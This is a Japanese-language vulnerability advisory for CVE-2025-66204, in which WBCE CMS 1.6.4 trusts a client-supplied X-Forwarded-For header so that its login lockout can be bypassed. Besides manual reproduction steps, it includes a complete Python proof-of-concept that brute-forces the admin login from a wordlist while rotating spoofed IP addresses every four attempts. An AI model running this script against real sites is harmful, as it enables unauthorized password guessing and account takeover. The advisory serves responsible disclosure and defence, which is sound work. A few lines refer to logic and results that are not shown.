
CVE-2025-66204 - WBCE CMS は X-Forwarded-For ヘッダーを使用したブルートフォース保護のバイパスを許可します
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-66204 |
| 深刻度 | MEDIUM |
| アドバイザリ | アドバイザリを表示 |
| 発見者 | Lukasz Rybak |
WBCE CMS 1.6.4 には、ブルートフォース保護のバイパスが存在します。 ログインのスロットリング機構は、5 回の不正なログイン試行後に IP アドレスをブロックします。 しかし、アプリケーションは X-Forwarded-For ヘッダーを検証も使用制限もせずに完全に信頼しています。
攻撃者はリクエストごとに X-Forwarded-For を変更することで、カウンターを無期限にリセットし、パスワード推測を無制限に行うことができ、事実上すべてのブルートフォース保護をバイパスできます。
WBCE CMS は以下のロジックでクライアント IP を決定します:
WBCE はデフォルトではリバースプロキシの背後で実行されていませんが、ログインエンドポイントは、クライアントによって手動で追加された場合でも、X-Forwarded-For が存在するときは常にそれを解析します。
アプリケーションはリクエストが信頼できるプロキシから発信されたことを検証しないため、攻撃者は任意の IP アドレスを使用して独自の X-Forwarded-For ヘッダーを注入できます。
これにより、以下の結果が生じます:
この動作は、WBCE CMS の前にリバースプロキシがないクリーンなデフォルトインストールで再現可能です。
手順
間違ったパスワードでログインを試行し、以下のヘッダーを送信します:
X-Forwarded-For: 10.0.0.10
ロックアウトが発生するまで(5 回の試行後)繰り返します。

ヘッダーを以下のように変更します:
X-Forwarded-For: 10.0.0.11
ログイン試行がリセットされ、再度許可されます。

10.0.0.x を順に切り替えながら、制限なしでブルートフォースを実行します。
自動化 PoC スクリプト
攻撃を自動的に実行し、4 回の試行ごとに偽装 IP をローテーションして、ログイン成功を検出する Python スクリプトを作成しました。
...
これは、保護の完全なバイパスを証明します。
import requests
# ==========================
# CONFIGURATION
# ==========================
TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"
# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"
WORDLIST = "wordlist.txt"
ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"
MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."
# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
session = requests.Session()
if USE_BURP:
session.proxies.update(PROXIES)
session.verify = False
# ==========================
# LOGIN REQUEST
# ==========================
def try_login(ip, password):
"""Send one login attempt with spoofed X-Forwarded-For."""
headers = {
"X-Forwarded-For": ip,
"User-Agent": "WBCE-Bruteforce-POC",
}
data = {
USERNAME_META_FIELD: USERNAME_FIELDNAME,
PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
USERNAME_FIELDNAME: USERNAME,
PASSWORD_FIELDNAME: password,
"url": "",
"submit": "Login",
}
resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
text = resp.text
failed = ERROR_STRING in text
blocked = BLOCK_STRING in text
success = not failed and not blocked
return success, failed, blocked, resp
# ==========================
# MAIN ROUTINE
# ==========================
def main():
print("[*] Loading wordlist...")
with open(WORDLIST, "r", encoding="utf-8") as f:
passwords = [p.strip() for p in f if p.strip()]
print(f"[*] Loaded {len(passwords)} passwords.\n")
current_ip_counter = 1
attempts_with_ip = 0
for attempt_no, password in enumerate(passwords, start=1):
ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
success, failed, blocked, resp = try_login(ip, password)
print(
f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
f"| failed={failed} blocked={blocked}"
)
if success:
print("\n[+] SUCCESSFUL LOGIN!")
print(f" Username: {USERNAME}")
print(f" Password: {password}")
print(f" IP used : {ip}")
return
attempts_with_ip += 1
# Switch spoofed IP after lockout threshold
if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
current_ip_counter += 1
attempts_with_ip = 0
print("\n[-] Password not found in wordlist.")
if __name__ == "__main__":
main()
この CVE は、調整された脆弱性開示の慣行に従って責任を持って開示されました。ここに記載されている情報は、教育および防御目的のみを目的としています。